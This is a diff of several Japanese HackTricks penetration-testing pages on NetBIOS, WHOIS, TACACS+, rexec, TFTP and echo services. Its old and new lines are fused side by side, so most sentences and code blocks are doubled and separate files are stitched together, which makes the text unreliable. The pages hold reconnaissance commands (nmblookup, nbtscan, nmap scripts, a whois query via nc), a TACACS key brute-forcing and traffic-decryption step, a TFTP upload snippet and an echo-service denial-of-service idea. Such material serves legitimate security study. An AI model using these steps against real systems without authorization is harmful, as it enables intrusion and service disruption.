すべてのマシンはNetBiosネットワーク内で名前を持つべきです。名前を要求するには、マシンはブロードキャストで「名前クエリ」パケットを送信し、誰かがその名前を既に使用していると応答した場合、マシンはその名前を使用できます。名前サービスサーバーがある場合、コンピュータは名前を使用したい名前が誰かに使用されているかどうかを名前サービスサーバーに問い合わせることができます。 NetBIOS ネットワークに参加するデバイスは、一意の名前を持つ必要があります。これは、"名前クエリ" パケットが送信される **ブロードキャストプロセス** によって達成されます。異議がない場合、名前は利用可能と見なされます。また、名前の利用可能性を確認したり、名前をIPアドレスに解決するために **名前サービスサーバー** に直接問い合わせることもできます。`nmblookup`、`nbtscan`、`nmap` などのツールを使用して、NetBIOS サービスを列挙し、サーバー名とMACアドレスを特定します。
名前のIPアドレスを発見するには、PCは「名前クエリ」パケットを送信し、誰かが応答するのを待つ必要があります。名前サービスサーバーがある場合、PCはその名前のIPを問い合わせることができます。
```bash ```bash
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP) 137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
``` ```
NetBIOSサービスの列挙では、サーバーが使用している名前とサーバーのMACアドレスを取得することができます。 NetBIOSサービスを列挙すると、サーバーが使用している名前とサーバーのMACアドレスを取得できます。
```bash ```bash
nmblookup -A <IP> nmblookup -A <IP>
nbtscan <IP>/30 nbtscan <IP>/30
@ -35,27 +39,23 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
``` ```
### データグラム配信サービス ### データグラム配信サービス
NetBIOSデータグラムはUDPを介して送信されます。データグラムは、「Direct Unique」または「Direct Group」パケットとして送信されます。これは特定のNetBIOS名に送信される場合です。また、「Broadcast」パケットとして送信されます。これはネットワーク上のすべてのNetBIOS名に送信される場合です。 NetBIOSデータグラムは、UDPを介した接続レス通信を可能にし、直接メッセージングやネットワーク内のすべての名前へのブロードキャストをサポートします。このサービスは**138/udp**ポートを使用します。
```bash ```bash
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm 138/udp open|filtered netbios-dgm
``` ```
### セッションサービス ### セッションサービス
セッションモードでは、2つのコンピュータが「会話」のために接続を確立し、より大きなメッセージを処理し、エラーの検出と回復を提供します。 接続指向のやり取りにおいて、**セッションサービス**は、**TCP**接続を介してポート**139/tcp**を通じて2つのデバイス間の会話を可能にします。セッションは「セッションリクエスト」パケットで始まり、応答に基づいて確立されます。このサービスは大きなメッセージ、エラー検出、回復をサポートし、TCPがフロー制御とパケットの再送信を処理します。
セッションはパケットの交換によって確立されます。セッションを確立するコンピュータは、セッションを確立するためのポート139への[TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol)接続を試みます。接続が確立されると、セッションを確立するアプリケーションのNetBIOS名とセッションを確立するためのNetBIOS名を含む「セッションリクエスト」パケットを接続経由で送信します。セッションを確立するコンピュータは、セッションを確立できることを示す「ポジティブセッションレスポンス」またはその名前に対してセッションを確立するためのリソースが利用できないことを示す「ネガティブセッションレスポンス」のいずれかの応答を受け取ります。 セッション内でのデータ転送には**セッションメッセージパケット**が使用され、セッションはTCP接続を閉じることで終了します。
データは確立されたセッションによってセッションメッセージパケットを介して送信されます。 これらのサービスは**NetBIOS**の機能に不可欠であり、ネットワーク全体で効率的な通信とリソース共有を可能にします。TCPおよびIPプロトコルに関する詳細情報については、それぞれの[TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol)および[IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol)ページを参照してください。
TCPは、すべてのセッションサービスパケットのフロー制御と再送信、およびパケットが転送されるデータストリームをIPデータグラムに分割してリンク層パケットに収まるように処理します。
セッションはTCP接続を閉じることで終了します。
```bash ```bash
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
``` ```
**次のページを読んで、このサービスの列挙方法を学びましょう:** **次のページを読んで、このサービスの列挙方法を学びます:**
{% content-ref url="137-138-139-pentesting-netbios.md" %} {% content-ref url="137-138-139-pentesting-netbios.md" %}
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md) [137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
@ -75,7 +75,7 @@ Name service for name registration and resolution (ports: 137/udp and 137/tcp).
Datagram distribution service for connectionless communication (port: 138/udp). Datagram distribution service for connectionless communication (port: 138/udp).
Session service for connection-oriented communication (port: 139/tcp). Session service for connection-oriented communication (port: 139/tcp).
Every machine should have a name inside the NetBios network. To request a name, a machine should send a "Name Query" packet in broadcast and if anyone answer that it is already using that name, the machine can use that name. If there is a Name Service server, the computer could ask the Name Service server if someone is using the name that it wants to use. For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
@ -86,12 +86,14 @@ Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script n
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! HackTricksをサポートする他の方法:
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
</details> </details>

View file

@ -4,10 +4,10 @@
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見す
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
@ -15,7 +15,7 @@ HackTricks をサポートする他の方法:
# 基本情報 # 基本情報
**WHOIS**プロトコルは、特定のデータベースを介して、さまざまなインターネットリソースの登録者や保有者について**問い合わせる**ための標準的な方法として機能します。これらのリソースには、ドメイン名、IPアドレスのブロック、自律システムなどが含まれます。これら以外にも、プロトコルはさまざまな情報にアクセスするために利用されます。 **WHOIS** プロトコルは、特定のデータベースを介して **さまざまなインターネットリソースの登録者や保有者について問い合わせる** 標準的な方法として機能します。これらのリソースには、ドメイン名、IPアドレスのブロック、自律システムなどが含まれます。これら以外にも、プロトコルはさまざまな情報にアクセスするために利用されます。
**デフォルトポート:** 43 **デフォルトポート:** 43
``` ```
@ -61,14 +61,14 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
``` ```
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする** * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** * **HackTricks**https://github.com/carlospolop/hacktricksおよび**HackTricks Cloud**https://github.com/carlospolop/hacktricks-cloudのgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい****HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する** * **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
@ -38,8 +38,8 @@ PORT STATE SERVICE
sudo loki_gtk.py sudo loki_gtk.py
``` ```
### トラフィックの復号化 ### トラフィックの復号化
キーが正常に**ブルートフォース攻撃**されると**通常はMD5で暗号化された形式で**)、**機器にアクセスし、TACACSで暗号化されたトラフィックを復号化**できます。 鍵が正常に**総当たり攻撃で****通常はMD5で暗号化された形式で**解読されると、**機器にアクセスし、TACACSで暗号化されたトラフィックを復号化**できます。
キーが正常にクラックされたら、次のステップは**TACACSで暗号化されたトラフィックを復号化**することです。Wiresharkは、キーが提供されていれば暗号化されたTACACSトラフィックを処理できます。復号化されたトラフィックを分析することで、**使用されているバナーや管理者のユーザー名**などの情報を取得できます。 鍵が正常にクラックされた後、次のステップは**TACACSで暗号化されたトラフィックを復号化**することです。Wiresharkは、鍵が提供されている場合に暗号化されたTACACSトラフィックを処理できます。復号化されたトラフィックを分析することで、**使用されているバナーや管理者のユーザー名**などの情報を取得できます。
取得した資格情報を使用してネットワーク機器のコントロールパネルにアクセスすることで、攻撃者はネットワーク上で制御を行うことができます。これらの行動は教育目的のみに使用し、適切な権限なしに使用しないように注意することが重要です。 取得した資格情報を使用してネットワーク機器のコントロールパネルにアクセスすることで、攻撃者はネットワーク上で制御を行うことができます。これらの行動は厳密に教育目的であり、適切な権限なしに使用すべきではないことに注意することが重要です。

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **HackTricks**の[**githubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
</details> </details>
## 基本情報 ## 基本情報
有効な**資格情報**(ユーザー名とパスワード)を知っている場合、ホスト内でコマンドを実行することを**可能にするサービス**です。 **有効な資格情報**(ユーザー名とパスワード)を知っている場合、**ホスト内でコマンドを実行できる**サービスです。
**デフォルトポート:** 512 **デフォルトポート:** 512
``` ```
@ -27,14 +27,12 @@ PORT STATE SERVICE
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください。** * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください。** * **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -2,22 +2,22 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
- **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。 * **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。
</details> </details>
# 基本情報 # 基本情報
**Trivial File Transfer Protocol (TFTP)** は、**UDPポート69**で使用される簡単なプロトコルで、認証を必要とせずファイルの転送を可能にします。**RFC 1350**で強調されており、その単純さから主要なセキュリティ機能が欠けているため、一般インターネットでの使用は限られています。ただし、**TFTP** は、**VoIPハンドセット**などのデバイスに**構成ファイル**や**ROMイメージ**を効率的に配布するために、大規模な内部ネットワーク内で広く利用されています。 **Trivial File Transfer Protocol (TFTP)** は、**UDPポート69**で使用される簡単なプロトコルで、認証を必要とせずファイルの転送を可能にします。**RFC 1350**で強調されており、そのシンプルさから主要なセキュリティ機能が欠如しているため、一般インターネットでの使用は限られています。ただし、**TFTP** は、**VoIPハンドセット**などのデバイスに**構成ファイル**や**ROMイメージ**を効率的に配布するために、大規模な内部ネットワーク内で広く利用されています。
**TODO**: Bittorrentトラッカーについての情報を提供しますShodanはこのポートをその名前で識別します。これに関する詳細情報がある場合は、[**HackTricks telegram group**](https://t.me/peass)(または[PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)のgithub issueでお知らせください。 **TODO**: Bittorrentトラッカーについての情報を提供してくださいShodanはこのポートをその名前で識別します。これに関する詳細情報がある場合は、[**HackTricks telegramグループ**](https://t.me/peass)(または[PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)のgithub issueでお知らせください。
**デフォルトポート:** 69/UDP **デフォルトポート:** 69/UDP
``` ```
@ -54,10 +54,10 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[**telegramグループに参加**](https://t.me/peass)または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**をフォローしてください。** * **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[**telegramグループに参加**](https://t.me/peass)または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
</details> </details>

View file

@ -1,22 +1,22 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
# 基本情報 # 基本情報
このホストでエコーサービスが実行されています。エコーサービスはテストおよび計測目的で意図されており、TCPおよびUDPプロトコルの両方でリッスンする可能性があります。サーバーは受信したデータを変更せずに送り返します。\ このホストでエコーサービスが実行されています。エコーサービスはテストおよび計測目的で意図されており、TCPおよびUDPプロトコルの両方でリッスンする可能性があります。サーバーは受信したデータを変更せずに送します。\
**同じマシンまたは別のマシンのエコーサービスに接続することで、サービスの拒否を引き起こす可能性があります**。生成されるパケット数が過剰に高いため、影響を受けるマシンは実質的にサービスから外れる可能性があります。\ **同じマシンまたは別のマシンのエコーサービスに接続して、サービス間でエコーサービスを接続することで、サービスの拒否を引き起こすことが可能です**。生成されるパケット数が過剰に高いため、影響を受けるマシンは実質的にサービスから外れる可能性があります。\
情報元:[https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) 情報元:[https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**デフォルトポート:** 7/tcp/udp **デフォルトポート:** 7/tcp/udp
@ -48,10 +48,10 @@ Hello echo #This is the response
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスッグ**](https://peass.creator-spring.com)を入手する
